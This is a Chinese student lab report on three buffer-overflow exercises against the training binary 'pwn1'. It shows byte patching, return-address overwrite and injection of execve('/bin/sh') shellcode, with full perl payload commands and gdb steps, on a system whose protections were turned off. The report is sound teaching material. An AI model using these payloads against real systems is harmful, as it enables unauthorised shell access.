20242413 2026-2027-1 《网络与系统攻防技术》实验一实验报告
20242413 2026-2027-1 《网络与系统攻防技术》实验一实验报告
1.基础知识
1.1 ELF 文件与反汇编
pwn1 是 32 位 ELF 可执行文件。代码段(.text)中存放机器指令,objdump -d 可以将其反汇编为汇编代码,得到各函数的虚拟地址与对应的机器码,是漏洞分析的基础。
1.2 相关机器码
NOP(空操作)的机器码为 0x90,常用作"滑梯"填充;CALL 为 0xe8,其后跟 4 字节相对偏移(补码,小端序);RET 为 0xc3;JMP 短跳转(eb)与近跳转(e9);JE/JNE 为 0x74/0x75,CMP 为 0x39/0x83 等。CPU 执行 call 时以"下一条指令地址 + 偏移"计算目标地址,因此修改偏移即可改变调用目标。
1.3 栈帧、返回地址与小端序
函数调用时,call 指令将返回地址压栈,ebp 指向栈帧底部,局部变量位于 ebp 下方。foo 为 gets 只预留了 0x1c(28)字节缓冲区,输入超长时将从低地址向高地址依次覆盖局部变量、保存的 ebp 和返回地址。x86 为小端字节序,多字节数据低位在前,因此覆盖返回地址时地址字节要倒序写入(如 0x0804847d 写作 \x7d\x84\x04\x08)。
1.4 缓冲区溢出攻击与 payload 结构
任务三采用"anything + retaddr + nops + shellcode"(RNS)结构构造 payload:填充字符覆盖到返回地址位置,用猜测的返回地址覆盖之,其后布置 NOP 滑梯与 Shellcode。只要返回地址落在任意 NOP 上,执行便会逐条"滑"入 Shellcode。NOP 滑梯大大提高了返回地址的命中容差。
1.5 常见防御机制
现代系统对 BOF 攻击有多层防御:栈金丝雀(Canary)在栈帧中放置校验值防止覆盖返回地址;NX/DEP 将栈区设为不可执行,使注入的 Shellcode 无法运行;ASLR 地址随机化使每次加载地址不同,令预先测得的地址失效。本实验为学习原理,预先关闭了栈执行保护与地址随机化。
2.实验内容
本次实践的对象是一个名为 pwn1 的 Linux 可执行文件(32 位 ELF)。该程序正常执行流程为:main 调用 foo 函数,foo 简单回显用户输入的字符串。程序中还包含一个未被调用的 getShell 函数,运行后会返回一个可用的 Shell。实践的目标是通过三种方法运行该代码片段,并在此基础上学习注入运行任意 Shellcode。
实践包含三个递进的任务:任务一,手工修改可执行文件的机器指令,将 main 中对 foo 的调用改为对 getShell 的调用;任务二,利用 foo 函数的 BOF 漏洞,构造攻击输入字符串覆盖返回地址,触发 getShell;任务三,注入一段自制的 Shellcode(execve("/bin/sh"))并运行,不再依赖程序中现成的函数。
3.实验过程
实验在 VMware Workstation 中的 Kali Linux 虚拟机(主机名 linlu)完成。
3.1 实验准备
将宿主机共享文件夹中的 pwn1 复制到本地家目录并改名为含学号的 pwn1_20242413(共享文件夹挂载点 /mnt/hgfs/,若未自动挂载需用 vmhgfs-fuse 手动挂载)。运行 ./pwn1_20242413,输入任意字符串可原样回显,确认程序正常。

3.2 任务一:直接修改机器指令,改变程序执行流程
3.2.1 反汇编定位目标
执行 objdump -d pwn1_20242413 | more,找到三个关键函数:getShell 位于 0x0804847d,foo 位于 0x08048491,main 中 0x080484b5 处的指令为 e8 d7 ff ff ff,即 call 8048491

反汇编查看 main、foo、getShell
3.2.2 计算新偏移并修改文件
要改为调用 getShell,新偏移 = 0x0804847d - 0x080484ba = -0x3d,补码为 0xffffffc3,即只需把机器指令中的 d7 改为 c3。复制副本后用 vi 修改:
cp pwn1_20242413 pwn1_20242413_task1
vi pwn1_20242413_task1
在 vi 中执行 :%!xxd 切换为十六进制视图。注意 xxd 按两字节分组显示,e8 与 d7 分处两组边界,直接搜索 e8d7 会找不到,应搜索 d7ff,并核对上下文(f0e8 d7ff ffff b800)与反汇编结果一致后,将 d7 改为 c3,再执行 :%!xxd -r 转回二进制,:wq 保存退出。

vi 十六进制模式查看文件内容

搜索 d7ff 并核对上下文
3.2.3 验证
再次反汇编,0x080484b5 处已变为 e8 c3 ff ff ff,即 call 804847d

修改后反汇编确认 call getShell
3.2.4 运行
执行 ./pwn1_20242413_task1,程序不再回显输入,而是直接出现 "#" 提示符,输入 ls 可列出目录文件。任务一完成:不碰输入,仅修改一个字节便劫持了执行流。

运行修改后的程序获得 Shell
3.3 任务二:构造输入字符串,BOF 覆盖返回地址
3.3.1 反汇编分析溢出点
由 foo 的反汇编可知:sub $0x38,%esp 开辟栈帧,而 gets 读入的目标缓冲区为 lea -0x1c(%ebp),%eax,仅 0x1c = 28 字节。因此输入 28 字节后,第 29~32 个字符覆盖保存的 ebp,第 33~36 个字符将覆盖返回地址。

反汇编分析 foo 缓冲区大小
3.3.2 gdb 确认覆盖位置
启动 gdb pwn1_20242413 并运行,输入 1111111122222222333333334444444455555555(36 个字符),程序 SIGSEGV,info r 显示 eip = 0x35353535,即字符 5 的 ASCII 码,证明第 33~36 个字符正好覆盖返回地址。

36 字符输入触发段错误

确认 EIP 被第 33~36 字符覆盖
3.3.3 验证小端字节序
重新运行,输入 1111111122222222333333334444444412345678,eip = 0x34333231,即 "1234" 的逆序,证明 x86 为小端序。因此 getShell 地址 0x0804847d 在 payload 中应写作 \x7d\x84\x04\x08。

验证小端字节序(EIP=0x34333231)
3.3.4 构造 payload 并注入
用 perl 生成包含 getShell 地址的输入文件,并经管道注入:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input_20242413
(cat input_20242413; cat) | ./pwn1_20242413
首次注入出现 Segmentation fault(栈地址存在细微波动),再次运行成功:回显输入后出现 shell,whoami 显示 kali,ls、id 均可正常执行。任务二完成。

构造 payload 注入成功(whoami/ls/id)
3.4 任务三:注入 Shellcode 并执行
3.4.1 实验环境与防护设置
为保证 Shellcode 能够运行,先做两项设置:将 ELF 程序头的 GNU_STACK 标志置为 RWE(堆栈可执行),并将 /proc/sys/kernel/randomize_va_space 置 0(关闭地址随机化)。可用 readelf -l 与 cat 命令确认设置生效。
3.4.2 构造带占位地址的 payload
采用 RNS 结构构造 payload:32 个字符填充至返回地址处,4 字节占位返回地址 0x01020304,其后为 32 字节 NOP(0x90)滑梯和 25 字节 Shellcode(\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80,对应 execve("/bin/sh"))。结尾为 \x00 而非换行,以便进程挂起在 gets 处进行调试。
3.4.3 gdb 定位栈上 Shellcode 地址
在 foo 的 ret(0x080484ae)处下断点,以输入文件重定向运行,断点命中后查看栈:info r esp 得 esp = 0xffffcefc,x/16x 0xffffcefc 可见占位地址 0x01020304,继续查看可见 90909090 与 Shellcode 字节,说明注入成功。

gdb 断点定位栈上 Shellcode 地址
3.4.4 确定真实返回地址并注入
直接采用 gdb 中测得的地址注入后程序报 illegal hardware instruction:gdb 调试环境与真实运行的栈地址存在 0x10 字节偏差,返回地址落进了指令中间。利用 32 字节 NOP 滑梯的容错能力,遍历候选返回地址自动测试,最终确定真实返回地址为 0xffffcf30。生成最终 payload 注入:
perl -e 'print "A" x 32;print "\x30\xcf\xff\xff";print "\x90" x 32;print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";print "\x90\x00\xd3\xff\xff\x00"' > input_shellcode_20242413
(cat input_shellcode_20242413; cat) | ./pwn1_20242413
payload 以 \x00 结尾,gets 仍在等待:第一次输入的 ls 被 gets "放行"吃掉(触发溢出,ret 落到 NOP 滑梯滑入 Shellcode);第二次输入的 ls 才真正进入新启动的 shell 并列出目录,id 显示当前用户 kali。任务三完成。

注入 Shellcode 成功执行(ls/id)

遍历候选返回地址确定真实地址
4.问题及解决方案
问题1:共享文件夹未挂载。 cp 报错找不到文件,find 全盘搜索也无结果。
解决方案:经排查 /mnt/hgfs 不存在,用 vmware-hgfsclient 确认共享名后,手动执行 vmhgfs-fuse .host:/pwn1 /mnt/hgfs/pwn1 -o allow_other 挂载,成功取得文件。
问题2:vi 中 xxd -r 转换失败。 :%!xxd -r 返回 shell returned 127,转换命令未能执行。
解决方案:改为在 vi 中将十六进制视图 :w 另存为文本文件,退出后在终端用 xxd -r 转回二进制,效果相同。
问题3:恢复文件时版本不一致。 重新复制共享文件夹中的 pwn1 后发现函数地址与先前反汇编结果完全不同,判断共享文件夹中的文件已被替换。
解决方案:改用任务一副本 pwn1_20242413_task1,将其修改的那个字节(c3)改回原值(d7),逆向恢复出原始程序。
问题4:gdb 地址偏差导致注入失败。 gdb 中测得 Shellcode 地址为 0xffffcf20,按此地址注入后报 illegal hardware instruction。
解决方案:分析得出原因是调试环境与真实运行的栈地址相差 0x10 字节,返回地址落进了指令中间。利用 NOP 滑梯遍历候选地址自动测试,确定真实返回地址为 0xffffcf30 后注入成功。
5.学习感悟
这次实验断断续续做了两天,回头看,卡住的时间远比顺利的时间长,但收获也大多来自卡住的部分。最开始连 pwn1 文件都找不到,以为是共享文件夹设置错了,后来顺着 find、vmware-hgfsclient 一路排查,才发现是挂载点根本不存在,手动 vmhgfs-fuse 之后才拿到文件。这让我意识到排错时不能想当然,要一层一层验证。
以前我总觉得课本上的知识离自己很遥远,现在才发现,其实只要肯动手,它们都是触手可及的。任务一让我看懂了一条 call 指令的五个字节,任务二让我把栈帧、EIP、小端序从概念变成了手里能用的东西,任务三则把它们串成了一次完整的攻击流程。同时我也更清楚地意识到,实验中每一步能成功,都建立在关掉了 Canary、NX、ASLR 这些防护的前提下,真实环境里没有这些便宜可占——这正是防御存在的意义。

浙公网安备 33010602011771号